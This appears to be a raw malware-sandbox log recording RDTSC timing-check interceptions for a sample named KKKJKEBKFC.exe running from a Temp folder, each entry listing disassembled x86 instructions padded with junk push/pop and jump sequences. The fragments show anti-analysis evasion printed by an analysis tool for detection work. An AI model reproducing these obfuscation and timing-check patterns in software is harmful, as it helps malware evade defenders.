Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4B0003F second address: 4B0004F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CC9Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD04E9 second address: 4AD04EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD04EF second address: 4AD04F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD04F3 second address: 4AD0534 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007FB168B06459h 0x00000011 xchg eax, ebp 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 movsx edx, si 0x00000018 push esi 0x00000019 pop ebx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD0534 second address: 4AD0544 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CC9Ch 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD0544 second address: 4AD0548 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD0548 second address: 4AD05C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB16943CC9Dh 0x00000011 xor esi, 4D369B46h 0x00000017 jmp 00007FB16943CCA1h 0x0000001c popfd 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FB16943CC9Eh 0x00000024 or ecx, 38A7D7E8h 0x0000002a jmp 00007FB16943CC9Bh 0x0000002f popfd 0x00000030 pushad 0x00000031 popad 0x00000032 popad 0x00000033 popad 0x00000034 mov eax, dword ptr [ebp+08h] 0x00000037 pushad 0x00000038 movzx ecx, bx 0x0000003b mov dl, 0Eh 0x0000003d popad 0x0000003e and dword ptr [eax], 00000000h 0x00000041 pushad 0x00000042 mov ax, ACEBh 0x00000046 push eax 0x00000047 push edx 0x00000048 jmp 00007FB16943CC9Eh 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD05C1 second address: 4AD0603 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FB168B06452h 0x00000008 add ah, FFFFFFA8h 0x0000000b jmp 00007FB168B0644Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 popad 0x00000014 and dword ptr [eax+04h], 00000000h 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FB168B06455h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD0603 second address: 4AD0609 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD006E second address: 4AD0095 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB168B06455h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD02BE second address: 4AD02CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD02CB second address: 4AD02DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD02DE second address: 4AD02F6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CCA4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AD02F6 second address: 4AD02FA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0702 second address: 4AF0706 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0706 second address: 4AF0719 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0719 second address: 4AF071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF071F second address: 4AF0723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0723 second address: 4AF07EB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FB16943CCA6h 0x00000011 push eax 0x00000012 jmp 00007FB16943CC9Bh 0x00000017 xchg eax, ebp 0x00000018 jmp 00007FB16943CCA6h 0x0000001d mov ebp, esp 0x0000001f pushad 0x00000020 call 00007FB16943CC9Eh 0x00000025 pushfd 0x00000026 jmp 00007FB16943CCA2h 0x0000002b jmp 00007FB16943CCA5h 0x00000030 popfd 0x00000031 pop eax 0x00000032 popad 0x00000033 xchg eax, ecx 0x00000034 jmp 00007FB16943CC9Ah 0x00000039 push eax 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d mov cl, 41h 0x0000003f pushfd 0x00000040 jmp 00007FB16943CCA9h 0x00000045 and cl, FFFFFFC6h 0x00000048 jmp 00007FB16943CCA1h 0x0000004d popfd 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF07EB second address: 4AF0833 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B06451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007FB168B0644Ch 0x00000011 jmp 00007FB168B06455h 0x00000016 popfd 0x00000017 mov ebx, ecx 0x00000019 popad 0x0000001a mov eax, dword ptr [76FB65FCh] 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 pushad 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0833 second address: 4AF0839 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF094E second address: 4AF0964 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 call 00007FB168B0644Eh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0964 second address: 4AF09D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pop eax 0x00000007 jmp 00007FB16943CCA7h 0x0000000c ret 0x0000000d nop 0x0000000e push eax 0x0000000f call 00007FB16D0CD642h 0x00000014 mov edi, edi 0x00000016 jmp 00007FB16943CCA6h 0x0000001b xchg eax, ebp 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007FB16943CC9Eh 0x00000023 or ax, D1B8h 0x00000028 jmp 00007FB16943CC9Bh 0x0000002d popfd 0x0000002e mov cx, 65EFh 0x00000032 popad 0x00000033 push eax 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 call 00007FB16943CC9Eh 0x0000003c pop esi 0x0000003d mov eax, edx 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF09D8 second address: 4AF09EF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB168B06453h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF09EF second address: 4AF09F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF09F3 second address: 4AF0A5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FB168B06455h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 call 00007FB168B06453h 0x00000018 pop ecx 0x00000019 pushfd 0x0000001a jmp 00007FB168B06459h 0x0000001f and ax, B076h 0x00000024 jmp 00007FB168B06451h 0x00000029 popfd 0x0000002a popad 0x0000002b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0A5C second address: 4AF0A8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CCA1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FB16943CCA8h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0A8E second address: 4AF0A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AF0A9D second address: 4AF0AA4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA007A second address: 4AA0126 instructions: 0x00000000 rdtsc 0x00000002 mov bh, DBh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 jmp 00007FB168B0644Ah 0x0000000d mov ebp, esp 0x0000000f jmp 00007FB168B06450h 0x00000014 and esp, FFFFFFF8h 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FB168B0644Eh 0x0000001e or ch, 00000008h 0x00000021 jmp 00007FB168B0644Bh 0x00000026 popfd 0x00000027 pushfd 0x00000028 jmp 00007FB168B06458h 0x0000002d xor ax, D068h 0x00000032 jmp 00007FB168B0644Bh 0x00000037 popfd 0x00000038 popad 0x00000039 xchg eax, ecx 0x0000003a pushad 0x0000003b pushfd 0x0000003c jmp 00007FB168B06454h 0x00000041 sub ecx, 608BA2C8h 0x00000047 jmp 00007FB168B0644Bh 0x0000004c popfd 0x0000004d mov ecx, 4FBCB03Fh 0x00000052 popad 0x00000053 push eax 0x00000054 push eax 0x00000055 push edx 0x00000056 pushad 0x00000057 mov ecx, 2D6FEB0Dh 0x0000005c mov bl, cl 0x0000005e popad 0x0000005f rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0126 second address: 4AA012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA012C second address: 4AA0130 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0130 second address: 4AA019A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB16943CC9Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ecx 0x0000000c jmp 00007FB16943CCA0h 0x00000011 xchg eax, ebx 0x00000012 jmp 00007FB16943CCA0h 0x00000017 push eax 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ecx, 79BF8893h 0x00000020 pushfd 0x00000021 jmp 00007FB16943CCA8h 0x00000026 and cx, ED18h 0x0000002b jmp 00007FB16943CC9Bh 0x00000030 popfd 0x00000031 popad 0x00000032 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA019A second address: 4AA01A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA01A0 second address: 4AA01A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA027C second address: 4AA0280 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0280 second address: 4AA0286 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0286 second address: 4AA028C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA028C second address: 4AA0290 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0290 second address: 4AA0294 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0294 second address: 4AA02CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f pushad 0x00000010 mov bx, si 0x00000013 mov di, ax 0x00000016 popad 0x00000017 je 00007FB1DB8CB016h 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 call 00007FB16943CCA5h 0x00000025 pop eax 0x00000026 push ebx 0x00000027 pop eax 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA02CD second address: 4AA02D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA02D2 second address: 4AA02D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA02D8 second address: 4AA02F5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edx, dword ptr [esi+44h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FB168B06451h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA02F5 second address: 4AA0384 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB16943CCA7h 0x00000009 xor ecx, 088B5EEEh 0x0000000f jmp 00007FB16943CCA9h 0x00000014 popfd 0x00000015 mov edx, esi 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a or edx, dword ptr [ebp+0Ch] 0x0000001d jmp 00007FB16943CC9Ah 0x00000022 test edx, 61000000h 0x00000028 pushad 0x00000029 pushfd 0x0000002a jmp 00007FB16943CC9Eh 0x0000002f and eax, 4C814998h 0x00000035 jmp 00007FB16943CC9Bh 0x0000003a popfd 0x0000003b movzx ecx, bx 0x0000003e popad 0x0000003f jne 00007FB1DB8CAFB0h 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007FB16943CC9Eh 0x0000004c rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA0384 second address: 4AA038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA038A second address: 4AA038E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA038E second address: 4AA03A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test byte ptr [esi+48h], 00000001h 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA03A0 second address: 4AA03A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4AA03A4 second address: 4AA03AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9076A second address: 4A90770 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90770 second address: 4A90774 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90774 second address: 4A90778 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90778 second address: 4A907C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FB168B06459h 0x0000000e mov ebp, esp 0x00000010 jmp 00007FB168B0644Eh 0x00000015 and esp, FFFFFFF8h 0x00000018 pushad 0x00000019 mov edx, ecx 0x0000001b mov bh, ch 0x0000001d popad 0x0000001e push esp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FB168B06451h 0x00000026 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A907C7 second address: 4A907E7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bl, B1h 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FB16943CCA1h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A907E7 second address: 4A9086D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FB168B06457h 0x00000009 jmp 00007FB168B06453h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FB168B06458h 0x00000015 and eax, 4C332D48h 0x0000001b jmp 00007FB168B0644Bh 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 xchg eax, esi 0x00000025 jmp 00007FB168B06456h 0x0000002a push eax 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007FB168B0644Dh 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9086D second address: 4A90873 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90873 second address: 4A908B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 pushfd 0x00000007 jmp 00007FB168B0644Fh 0x0000000c sub si, DD9Eh 0x00000011 jmp 00007FB168B06459h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908B2 second address: 4A908B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908B6 second address: 4A908C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908C9 second address: 4A908CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908CF second address: 4A908E9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB168B0644Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, dword ptr [ebp+08h] 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908E9 second address: 4A908EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A908EF second address: 4A9091C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, EB2Fh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a sub ebx, ebx 0x0000000c jmp 00007FB168B06457h 0x00000011 test esi, esi 0x00000013 pushad 0x00000014 movzx ecx, dx 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9091C second address: 4A90920 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90920 second address: 4A9097E instructions: 0x00000000 rdtsc 0x00000002 mov eax, edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 je 00007FB1DAF9BEADh 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007FB168B06450h 0x00000016 and si, EDE8h 0x0000001b jmp 00007FB168B0644Bh 0x00000020 popfd 0x00000021 pushfd 0x00000022 jmp 00007FB168B06458h 0x00000027 adc eax, 5C248048h 0x0000002d jmp 00007FB168B0644Bh 0x00000032 popfd 0x00000033 popad 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A9097E second address: 4A90984 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A90984 second address: 4A909B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007FB168B06459h 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A909B0 second address: 4A909B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A909B4 second address: 4A909BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A909BA second address: 4A909D1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB16943CCA3h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A909D1 second address: 4A909D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\KKKJKEBKFC.exe	RDTSC instruction interceptor: First address: 4A909D5 second address: 4A90A03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, esi 0x0000000a jmp 00007FB16943CCA5h 0x0000000f je 00007FB1DB8D2645h 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 push edx 0x00000019 pop eax 0x0000001a mov si, dx 0x0000001d popad 0x0000001e rdtsc
